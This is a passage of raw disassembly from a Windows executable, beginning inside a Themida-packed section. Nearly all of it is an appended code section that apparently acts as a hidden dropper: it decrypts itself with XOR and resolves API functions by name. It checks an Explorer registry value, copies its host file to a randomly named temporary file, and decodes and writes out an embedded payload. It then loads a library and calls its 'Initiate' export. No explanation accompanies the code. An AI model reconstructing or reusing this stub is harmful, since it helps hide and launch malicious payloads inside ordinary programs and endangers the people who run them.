dup(0BAE6956Fh) dd 14E6956Fh, 1C2h dup(141480DAh), 0CC1480DAh, 0B14h dup(0CCCCCCCCh) dd 0CCh, 21Eh dup(0) Themida_ ends ; --------------------------------------------------------------------------- ; Section 5. (virtual address 001C2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 001C2000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _zwt_ segment para public 'CODE' use32 assume cs:_zwt_ ;org 5C2000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing public start start: push 625F0Bh pop ebx nop push (offset loc_5C2021+1) pop esi mov edi, 598h nop loc_5C2013: ; CODE XREF: .zwt_:loc_5C2021j push dword ptr [esi+edi] xor [esp], ebx pop dword ptr [esi+edi] sub edi, 4 nop nop loc_5C2021: ; DATA XREF: .zwt_:005C2007o jnz short loc_5C2013 nop nop nop call sub_5C21A8 ; --------------------------------------------------------------------------- db 0 align 10h dd 140040h, 0C9DA000Eh, 0CFDC0007h, 0B0000007h, 0FFFF0002h dd 0F000FFFFh, 0F05F004Dh, 0F06D004Dh, 4Dh, 2 dup(0) dd 0D2000000h, 0F05D0001h, 0F06B000Dh, 0Dh, 3 dup(0) dd 0F0000000h, 4Dh, 9 dup(0) dd 5F0B0000h, 654B0062h, 6C656E72h, 642E3233h, 47006C6Ch dd 65547465h, 6150706Dh, 416874h, 54746547h, 46706D65h dd 4E656C69h, 41656D61h, 65724300h, 46657461h, 41656C69h dd 61655200h, 6C694664h, 72570065h, 46657469h, 656C69h dd 46746553h, 50656C69h, 746E696Fh, 43007265h, 65736F6Ch dd 646E6148h, 4700656Ch, 69547465h, 6F436B63h, 746E75h aGetmodulefilen db 'GetModuleFileNameA',0 aAdvapi32_dll_0 db 'ADVAPI32.dll',0 aRegopenkeyex_0 db 'RegOpenKeyExA',0 aRegqueryvalu_0 db 'RegQueryValueExA',0 aRegclosekey_0 db 'RegCloseKey',0 aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Explorer',0 aPinf db 'PINF',0 aInitiate db 'Initiate',0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5C21A8 proc near ; CODE XREF: .zwt_:005C2026p var_140 = word ptr -140h var_13E = byte ptr -13Eh var_38 = byte ptr -38h push ebp mov ebp, esp add esp, 0FFFFFEC0h mov eax, ebp add eax, 4 mov edx, ebp push ebx push esi push edi xor ebx, ebx mov edi, [eax] lea ecx, [ebp+var_38] sub edi, 5 mov eax, [edi+0Ch] lea esi, [edi+84h] add eax, [edi+8] add edx, 4 mov [edx], eax push esi push edi push ecx call sub_5C2248 test al, al jz short loc_5C2240 push esi lea eax, [ebp+var_38] push eax lea edx, [ebp+var_140] push edx call sub_5C2354 test al, al jz short loc_5C2215 cmp [ebp+var_140], 7 jb short loc_5C2215 push esi push edi lea ecx, [ebp+var_38] push ecx lea eax, [ebp+var_13E] push eax call sub_5C23BC mov ebx, eax loc_5C2215: ; CODE XREF: sub_5C21A8+4Dj ; sub_5C21A8+57j test bl, bl jnz short loc_5C2240 push edi lea eax, [ebp+var_38] push eax lea edx, [ebp+var_13E] push edx call sub_5C23F4 test al, al jz short loc_5C2240 push esi push edi lea ecx, [ebp+var_38] push ecx lea eax, [ebp+var_13E] push eax call sub_5C23BC loc_5C2240: ; CODE XREF: sub_5C21A8+38j ; sub_5C21A8+6Fj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_5C21A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5C2248 proc near ; CODE XREF: sub_5C21A8+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov eax, [ebp+arg_4] mov ebx, [ebp+arg_0] mov edi, [ebp+arg_8] mov edx, [eax+20h] mov ecx, [edx] mov [ebx], ecx mov eax, [ebp+arg_4] mov edx, [eax+20h] add edx, 4 mov ecx, [edx] mov [ebx+4], ecx push edi call dword ptr [ebx] mov esi, eax test esi, esi jz loc_5C2305 mov eax, [ebp+arg_4] push dword ptr [eax+24h] push esi call dword ptr [ebx+4] mov edx, [ebp+arg_4] mov ecx, [edx+20h] mov [ecx], eax mov eax, [ebp+arg_4] push dword ptr [eax+28h] push esi call dword ptr [ebx+4] mov edx, [ebp+arg_4] mov ecx, [edx+20h] add ecx, 4 mov [ecx], eax lea eax, [edi+0Dh] push eax push esi call dword ptr [ebx+4] mov [ebx+8], eax lea edx, [edi+1Ah] push edx push esi call dword ptr [ebx+4] mov [ebx+0Ch], eax lea ecx, [edi+2Bh] push ecx push esi call dword ptr [ebx+4] mov [ebx+10h], eax lea eax, [edi+37h] push eax push esi call dword ptr [ebx+4] mov [ebx+14h], eax lea edx, [edi+40h] push edx push esi call dword ptr [ebx+4] mov [ebx+18h], eax lea ecx, [edi+4Ah] push ecx push esi call dword ptr [ebx+4] mov [ebx+1Ch], eax lea eax, [edi+59h] push eax push esi call dword ptr [ebx+4] mov [ebx+20h], eax lea edx, [edi+65h] push edx push esi call dword ptr [ebx+4] mov [ebx+24h], eax lea ecx, [edi+72h] push ecx push esi call dword ptr [ebx+4] mov [ebx+28h], eax jmp short loc_5C2309 ; --------------------------------------------------------------------------- loc_5C2305: ; CODE XREF: sub_5C2248+2Bj xor eax, eax jmp short loc_5C234A ; --------------------------------------------------------------------------- loc_5C2309: ; CODE XREF: sub_5C2248+BBj lea edx, [edi+85h] push edx call dword ptr [ebx] mov esi, eax test esi, esi jz short loc_5C2344 lea eax, [edi+92h] push eax push esi call dword ptr [ebx+4] mov [ebx+2Ch], eax lea edx, [edi+0A0h] push edx push esi call dword ptr [ebx+4] mov [ebx+30h], eax add edi, 0B1h push edi push esi call dword ptr [ebx+4] mov [ebx+34h], eax jmp short loc_5C2348 ; --------------------------------------------------------------------------- loc_5C2344: ; CODE XREF: sub_5C2248+CEj xor eax, eax jmp short loc_5C234A ; --------------------------------------------------------------------------- loc_5C2348: ; CODE XREF: sub_5C2248+FAj mov al, 1 loc_5C234A: ; CODE XREF: sub_5C2248+BFj ; sub_5C2248+FEj pop edi pop esi pop ebx pop ebp retn 0Ch sub_5C2248 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5C2354 proc near ; CODE XREF: sub_5C21A8+46p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFF8h lea eax, [ebp+var_4] push ebx push esi push edi xor ebx, ebx mov edi, [ebp+arg_8] mov esi, [ebp+arg_4] mov [ebp+var_8], 106h push eax push 20019h lea edx, [edi+0BDh] push 0 push edx push 80000001h call dword ptr [esi+2Ch] test eax, eax jnz short loc_5C23B0 lea ecx, [ebp+var_8] add edi, 0F0h push ecx push [ebp+arg_0] push 0 push 0 push edi push [ebp+var_4] call dword ptr [esi+30h] test eax, eax setz bl and ebx, 1 push [ebp+var_4] call dword ptr [esi+34h] loc_5C23B0: ; CODE XREF: sub_5C2354+34j mov eax, ebx pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 0Ch sub_5C2354 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5C23BC proc near ; CODE XREF: sub_5C21A8+66p ; sub_5C21A8+93p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push [ebp+arg_0] call dword ptr [ebx] test eax, eax jz short loc_5C23EB mov edx, [ebp+arg_C] add edx, 0F5h push edx push eax call dword ptr [ebx+4] test eax, eax jz short loc_5C23EB push [ebp+arg_8] call eax test al, al jz short loc_5C23EB mov al, 1 jmp short loc_5C23ED ; --------------------------------------------------------------------------- loc_5C23EB: ; CODE XREF: sub_5C23BC+Ej ; sub_5C23BC+20j ... xor eax, eax loc_5C23ED: ; CODE XREF: sub_5C23BC+2Dj pop ebx pop ebp retn 10h sub_5C23BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5C23F4 proc near ; CODE XREF: sub_5C21A8+7Dp var_2914 = byte ptr -2914h var_114 = byte ptr -114h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax mov eax, 2 loc_5C23FD: ; CODE XREF: sub_5C23F4+11j add esp, 0FFFFF004h push eax dec eax jnz short loc_5C23FD mov eax, [ebp+var_4] add esp, 0FFFFF6F0h push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_0] push 104h lea eax, [ebp+var_114] push eax push 0 call dword ptr [ebx+28h] push 0 push 1 push 3 push 0 push 1 lea edx, [ebp+var_114] push 80000000h push edx call dword ptr [ebx+10h] mov edi, eax cmp edi, 0FFFFFFFFh jz loc_5C257D lea eax, [ebp+var_114] push eax push 104h call dword ptr [ebx+8] call dword ptr [ebx+24h] mov [ebp+var_8], eax xor ecx, ecx loc_5C2465: ; CODE XREF: sub_5C23F4+8Bj xor eax, eax mov al, byte ptr [ebp+ecx+var_8] push ecx mov ecx, 0Ah cdq idiv ecx pop ecx add al, 61h mov byte ptr [ebp+ecx+var_8], al inc ecx cmp ecx, 2 jle short loc_5C2465 mov byte ptr [ebp+var_8+3], 0 push esi push 0 lea ecx, [ebp+var_8] push ecx lea eax, [ebp+var_114] push eax call dword ptr [ebx+0Ch] push 0 push 80h push 2 push 0 push 1 push 0C0000000h push esi call dword ptr [ebx+10h] mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jz loc_5C2573 mov edx, [ebp+arg_8] mov esi, [edx+18h] push 0 push 0 mov eax, [ebp+arg_8] push dword ptr [eax+14h] push edi call dword ptr [ebx+1Ch] cmp esi, 2800h jbe short loc_5C252B loc_5C24D5: ; CODE XREF: sub_5C23F4+135j push 0 lea edx, [ebp+var_10] push edx push 2800h lea ecx, [ebp+var_2914] push ecx push edi call dword ptr [ebx+14h] push 2800h lea eax, [ebp+var_2914] push eax mov edx, [ebp+arg_8] push dword ptr [edx+80h] call sub_5C2590 lea ecx, [ebp+var_10] push 0 push ecx lea eax, [ebp+var_2914] push 2800h push eax push [ebp+var_C] call dword ptr [ebx+18h] sub esi, 2800h cmp esi, 2800h ja short loc_5C24D5 loc_5C252B: ; CODE XREF: sub_5C23F4+DFj push 0 lea edx, [ebp+var_10] push edx push esi lea ecx, [ebp+var_2914] push ecx push edi call dword ptr [ebx+14h] push esi lea eax, [ebp+var_2914] push eax mov edx, [ebp+arg_8] push dword ptr [edx+80h] call sub_5C2590 push 0 lea ecx, [ebp+var_10] push ecx push esi lea eax, [ebp+var_2914] push eax push [ebp+var_C] call dword ptr [ebx+18h] push [ebp+var_C] call dword ptr [ebx+20h] mov byte ptr [ebp+var_4+3], 1 jmp short loc_5C2577 ; --------------------------------------------------------------------------- loc_5C2573: ; CODE XREF: sub_5C23F4+BFj mov byte ptr [ebp+var_4+3], 0 loc_5C2577: ; CODE XREF: sub_5C23F4+17Dj push edi call dword ptr [ebx+20h] jmp short loc_5C2581 ; --------------------------------------------------------------------------- loc_5C257D: ; CODE XREF: sub_5C23F4+54j mov byte ptr [ebp+var_4+3], 0 loc_5C2581: ; CODE XREF: sub_5C23F4+187j mov al, byte ptr [ebp+var_4+3] pop edi pop esi pop ebx mov esp, ebp pop ebp retn 0Ch sub_5C23F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5C2590 proc near ; CODE XREF: sub_5C23F4+10Cp ; sub_5C23F4+15Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov edx, [ebp+arg_4] mov ecx, [ebp+arg_8] test ecx, ecx jns short loc_5C25A4 add ecx, 3 loc_5C25A4: ; CODE XREF: sub_5C2590+Fj sar ecx, 2 xor eax, eax cmp ecx, eax jle short loc_5C25B5 loc_5C25AD: ; CODE XREF: sub_5C2590+23j xor [edx+eax*4], ebx inc eax cmp ecx, eax jg short loc_5C25AD loc_5C25B5: ; CODE XREF: sub_5C2590+1Bj pop ebx pop ebp retn 0Ch sub_5C2590 endp ; --------------------------------------------------------------------------- align 4 dd 6F4C0062h, 694C6461h, 72617262h, 4179h, 74654700h, 636F7250h dd 72646441h, 737365h, 320546h, 625F09h, 6D5F0Fh, 62A0F4h dd 625FB3h, 625F0Bh, 785F4Bh, 2 dup(625F0Bh), 280h dup(0) _zwt_ ends ; Section 6. (virtual address 001C3000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C3000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C3000h dd 80h dup(0) dd 210h dup(?) db ? byte_5C3A41 db 2 dup(?) ; DATA XREF: ___:off_4378F0o byte_5C3A43 db ? ; DATA XREF: ___:off_439A28o dword_5C3A44 dd 7 dup(?) ; DATA XREF: ___:off_439A20o db 3 dup(?) db ? align 800h _idata2 ends end start